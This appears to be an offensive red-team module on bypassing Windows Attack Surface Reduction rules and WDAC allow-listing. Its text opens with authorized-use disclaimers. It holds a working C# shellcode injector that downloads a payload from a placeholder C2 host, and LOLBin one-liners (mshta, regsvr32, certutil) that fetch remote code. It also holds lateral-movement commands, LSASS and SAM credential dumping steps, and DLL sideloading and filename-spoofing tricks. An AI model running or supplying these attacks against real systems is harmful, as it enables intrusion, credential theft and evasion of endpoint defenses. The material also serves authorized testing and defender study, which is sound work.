asr-wdac-bypass

06 — ASR / WDAC Bypass

BLUF: Attack Surface Reduction (ASR) rules and Windows Defender Application Control (WDAC) are two of the most impactful security controls encountered in mature Windows environments. ASR blocks specific high-risk behaviors (macro execution, LSASS access, lateral movement via WMI/PsExec). WDAC enforces application allow-listing at the kernel level. This module covers enumeration, bypass techniques, and evasion methods for both.

Warning

Authorized use only. All techniques for professional red team engagements with written scope.

Note
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.


Part 1 — Attack Surface Reduction (ASR)

1.1 What ASR Is

ASR is a set of security policies enforced by Windows Defender's WdFilter.sys kernel driver. It is only active when Windows Defender is the primary AV — third-party AV solutions disable it.

Three threat categories it targets:

Category What it blocks
Office macros VBA P/Invoke, child process spawning from Office apps, executable content in emails
Credential protection LSASS memory access (OpenProcess on lsass.exe)
Lateral movement PsExec & WMI spawning processes, untrusted executables via SMB

1.2 Enumerate Active ASR Rules

# List enabled ASR rule GUIDs
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids

# List ASR rule actions (0=off, 1=block, 2=audit, 6=warn)
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions

# Combine both into a readable table
$ids     = (Get-MpPreference).AttackSurfaceReductionRules_Ids
$actions = (Get-MpPreference).AttackSurfaceReductionRules_Actions
for ($i=0; $i -lt $ids.Count; $i++) {
    [PSCustomObject]@{ Rule = $ids[$i]; Action = $actions[$i] }
}

Key ASR Rule GUIDs:

GUID Rule Name
75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 Block Office apps from injecting into other processes
3B576869-A4EC-4529-8536-B80A7769E899 Block Office apps from creating executable content
D4F940AB-401B-4EFC-AADC-AD5F3C50688A Block Office apps from creating child processes
9E6C4E1F-7D60-472F-BA1A-A39EF669E4B0 Block credential stealing from LSASS
D1E49AAC-8F56-4280-B9BA-993A6D77406C Block process creations from PSExec and WMI
B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 Block untrusted/unsigned processes from USB
26190899-1602-49E8-8B27-EB1D0A1CE869 Block Office communication apps from creating child processes

1.3 Check for ASR Exclusions (Potential Bypass Paths)

ASR exclusions are paths/processes where rules don't apply. These are bypass opportunities.

# List ASR exclusions
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionOnlyExclusions

# Example output: C:\Temp\, C:\ProgramData\vendor\, C:\Program Files (x86)\Microsoft\Edge\
# → Anything placed in C:\Temp\ is excluded from ASR rules

1.4 Bypass: Place Payload in an Excluded Path

If C:\Temp\ or C:\Users\Public\ is in the exclusion list:

# Copy payload to excluded path
Copy-Item .\beacon.exe C:\Temp\svchelper.exe
Start-Process C:\Temp\svchelper.exe

No ASR rules fire on processes launched from excluded directories.

1.5 Bypass: GadgetToJScript for Macro-Based Execution

When ASR blocks VBA P/Invoke, GadgetToJScript serializes a .NET DLL into VBA/VBS/JS. The deserialization mechanism bypasses direct API call detection.

Step 1: Build a shellcode injector (.NET DLL)

// TestAssembly.cs — compiles to TestAssembly.dll
using System;
using System.Net;
using System.Runtime.InteropServices;

public class Injector {
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out int w);
    [DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr h, IntPtr a, uint s, uint p, out uint o);
    [DllImport("kernel32.dll")] static extern IntPtr QueueUserAPC(IntPtr fn, IntPtr thr, IntPtr arg);
    [DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr t);
    [DllImport("kernel32.dll", CharSet=CharSet.Unicode)]
    static extern bool CreateProcessW(string app, string cmd, IntPtr pa, IntPtr ta,
        bool inherit, uint flags, IntPtr env, string dir,
        ref STARTUPINFO si, out PROCESS_INFORMATION pi);

    [StructLayout(LayoutKind.Sequential)] struct STARTUPINFO { public int cb; /* ... */ }
    [StructLayout(LayoutKind.Sequential)] struct PROCESS_INFORMATION {
        public IntPtr hProcess, hThread; public int pid, tid;
    }
    const uint CREATE_SUSPENDED = 4, MEM_COMMIT = 0x1000, MEM_RESERVE = 0x2000,
               PAGE_READWRITE = 4, PAGE_EXECUTE_READ = 0x20;

    public static void Run() {
        byte[] sc;
        using (var wc = new WebClient()) {
            wc.Proxy = WebRequest.GetSystemWebProxy();
            wc.UseDefaultCredentials = true;
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            sc = wc.DownloadData("https://c2.yourdomain.com/shellcode.bin");
        }

        var si = new STARTUPINFO { cb = Marshal.SizeOf<STARTUPINFO>() };
        PROCESS_INFORMATION pi;

        // Spawn Edge in SUSPENDED state (Edge is ASR-excluded on most builds)
        CreateProcessW(
            @"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
            @"""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"" --no-startup-window",
            IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED,
            IntPtr.Zero, @"C:\Program Files (x86)\Microsoft\Edge\Application", ref si, out pi);

        var addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length,
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
        VirtualProtectEx(pi.hProcess, addr, (uint)sc.Length, PAGE_EXECUTE_READ, out _);
        QueueUserAPC(addr, pi.hThread, IntPtr.Zero);  // Early Bird APC injection
        ResumeThread(pi.hThread);
    }
}

Step 2: Convert to VBA with GadgetToJScript

# GadgetToJScript converts .NET DLL to VBA/VBS/JS macro
.\GadgetToJScript.exe -w vba -b -e hex -o C:\Payloads\inject \
    -a .\TestAssembly\bin\Release\TestAssembly.dll
# Output: inject.vba

Step 3: Insert into Office macro — beacon runs inside msedge.exe (ASR-excluded process).

1.6 Bypass: PSExec/WMI ASR Rule (D1E49AAC)

ASR rule D1E49AAC blocks process spawning via PSExec and WMI. Bypass options:

# Option 1: SCM (Service Control Manager) — not blocked by this rule
# Create a service remotely via sc.exe (not PSExec)
sc.exe \\TARGET create SvcAbuse binPath= "C:\Temp\beacon.exe" start= auto
sc.exe \\TARGET start SvcAbuse

# Option 2: DCOM lateral movement (not blocked by ASR)
$dcom = [System.Activator]::CreateInstance(
    [Type]::GetTypeFromProgID("MMC20.Application", "TARGET"))
$dcom.Document.ActiveView.ExecuteShellCommand("C:\Temp\beacon.exe", $null, $null, "7")

# Option 3: Scheduled Task (schtasks — not blocked by ASR)
schtasks /create /tn SvcUpdate /tr "C:\Temp\beacon.exe" /sc once /st 00:00 /s TARGET /ru SYSTEM
schtasks /run /tn SvcUpdate /s TARGET

1.7 Bypass: LSASS ASR Rule (9E6C4E1F) — Credential Dumping

ASR rule 9E6C4E1F blocks direct OpenProcess on LSASS.

# Option 1: Volume Shadow Copy dump (no OpenProcess on LSASS)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# Option 2: comsvcs.dll MiniDump (signed Microsoft binary, not blocked)
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full
# Note: process running this needs SeDebugPrivilege

# Option 3: Cobalt Strike + custom handle — use a BYOVD driver to open LSASS
# with a kernel handle that bypasses userland ASR hooks
# See: 7.10_Sliver_C2_Windows section 11.4 (PPLdump / RTCore64.sys)

Part 2 — Windows Defender Application Control (WDAC)

2.1 WDAC vs AppLocker

Feature WDAC AppLocker
Security boundary Yes (bypasses → CVE) No (bypasses common/accepted)
Enforcement layer Kernel + User mode User mode only
Policy format XML → .p7b Group Policy rules
Bypassed by admin? Only via kernel Often yes

2.2 Enumerate the Policy

# Check if WDAC is enforced
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName PS_UpdateAndCompareCIPolicy

# Get policy file
ls C:\Windows\System32\CodeIntegrity\

# Remote: retrieve policy from SYSVOL
Copy-Item "\\$env:USERDOMAIN\SYSVOL\$env:USERDOMAIN\Policies\{GPO-ID}\Machine\CIPolicy.p7b" C:\Temp\

# Convert binary policy back to readable XML (Matt Graeber's CIPolicyParser)
Import-Module C:\Tools\CIPolicyParser.ps1
ConvertTo-CIPolicy -BinaryFilePath C:\Temp\CIPolicy.p7b -XmlFilePath C:\Temp\CIPolicy.xml

# Read the XML
[xml]$pol = Get-Content C:\Temp\CIPolicy.xml
$pol.SiPolicy.FileRules.Allow | Select-Object FriendlyName, FilePath, Hash

2.3 Bypass: Exploit File Path Rules

If the policy allows execution from a wildcard path like C:\Tools\* or C:\Temp\*:

# Drop payload into the allowed path
Copy-Item .\beacon.exe C:\Tools\svchelper.exe
Start-Process C:\Tools\svchelper.exe

Look for paths like C:\Users\*, C:\ProgramData\*, %TEMP%\* — these are common misconfiguration patterns.

2.4 Bypass: LOLBins (Living Off the Land Binaries)

Microsoft-signed binaries are allowed by most WDAC policies. Use them to execute unsigned code.

# mshta — executes VBScript/JScript from HTA files
mshta.exe https://c2.yourdomain.com/payload.hta

# wmic — executes commands via WMI provider
wmic process call create "C:\Temp\beacon.exe"

# InstallUtil (.NET — bypasses application allow-listing)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U beacon.exe

# regsvr32 — runs DLLs (COM scriptlet execution)
regsvr32 /s /n /u /i:https://c2.yourdomain.com/payload.sct scrobj.dll

# rundll32 — load and call DLL exports
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "

# certutil — download and decode payloads
certutil -urlcache -split -f https://c2.yourdomain.com/beacon.b64 beacon.b64
certutil -decode beacon.b64 beacon.exe

# LOLBAS Project — comprehensive list
# https://lolbas-project.github.io/

2.5 Bypass: Trusted Signer / DLL Sideloading

WDAC policies that allow execution of signed binaries from trusted publishers can be abused via DLL sideloading — drop a malicious DLL next to a signed, vulnerable executable.

# Find signed executables that load DLLs from their directory
# Tool: Process Monitor — filter for PATH NOT FOUND DLL loads in signed procs

# Example: known sideload target
# vulnerable_signed.exe loads version.dll from its directory
Copy-Item .\malicious.dll "C:\Path\To\SignedApp\version.dll"
Start-Process "C:\Path\To\SignedApp\vulnerable_signed.exe"
# Beacon runs inside a trusted signed process — WDAC sees valid signer

2.6 Bypass: FileName-Based Rules

WDAC policies using FileName (original file name from PE version info) as the rule key are bypassable by setting your payload's OriginalFilename PE field to a whitelisted name.

# Check allowed filenames in policy XML
$pol.SiPolicy.FileRules.Allow | Where-Object {$_.FriendlyName -like "*"}
# Look for: FileDescription, InternalName, OriginalFilename attributes

# Set OriginalFilename in your payload at compile time (C/C++/Rust):
# In .rc resource file:
# VALUE "OriginalFilename", "mspaint.exe\0"

# Or patch the PE Version Info post-compile with tools like rcedit:
rcedit beacon.exe --set-version-string OriginalFilename "mspaint.exe"

2.7 Bypass: Wildcard Path in WDAC Policy

<!-- Weak policy — allows everything under C:\Tools -->
<FileRule ID="ID_ALLOW_TOOLS" FriendlyName="Allow Tools" FilePath="C:\Tools\*"/>
# Abuse: anything placed in C:\Tools\ runs regardless of signing
Copy-Item .\beacon.exe C:\Tools\telemetry-agent.exe
Start-Process C:\Tools\telemetry-agent.exe

Defender hardening advice (for reporting):


3 — ASR + WDAC Evasion Decision Tree

Target environment assessment
│
├── Is Windows Defender the primary AV?
│   ├── YES → ASR rules may be active → enumerate (Get-MpPreference)
│   └── NO  → ASR disabled, skip to WDAC check
│
├── ASR active?
│   ├── Office macros blocked → GadgetToJScript or HTML smuggling
│   ├── LSASS blocked → VSS dump / comsvcs.dll / kernel handle (BYOVD)
│   ├── PSExec/WMI blocked → SCM service / DCOM / schtasks
│   └── Exclusion paths found → drop payload in excluded path
│
└── WDAC enforced?
    ├── Extract + parse CIPolicy.xml
    ├── Path rules? → Place payload in allowed path
    ├── FileName rules? → Patch PE OriginalFilename
    ├── Trusted signer? → DLL sideloading in signed binary dir
    └── No bypass found → LOLBin execution (mshta, regsvr32, InstallUtil)

4 — Key Tools

Tool Purpose
Get-MpPreference Enumerate active ASR rules and exclusions
CIPolicyParser.ps1 Convert .p7b WDAC policy → readable XML
GadgetToJScript Serialize .NET DLL to VBA/VBS/JS for macro bypass
rcedit Patch PE OriginalFilename field
LOLBAS Project Living-off-the-land bypass binaries, scripts, libs
lolDrivers Vulnerable signed drivers for BYOVD (DSE/PPL bypass)
comsvcs.dll MiniDump LSASS dump via signed MS binary (ASR bypass)

Back to 6. EDR · Master Index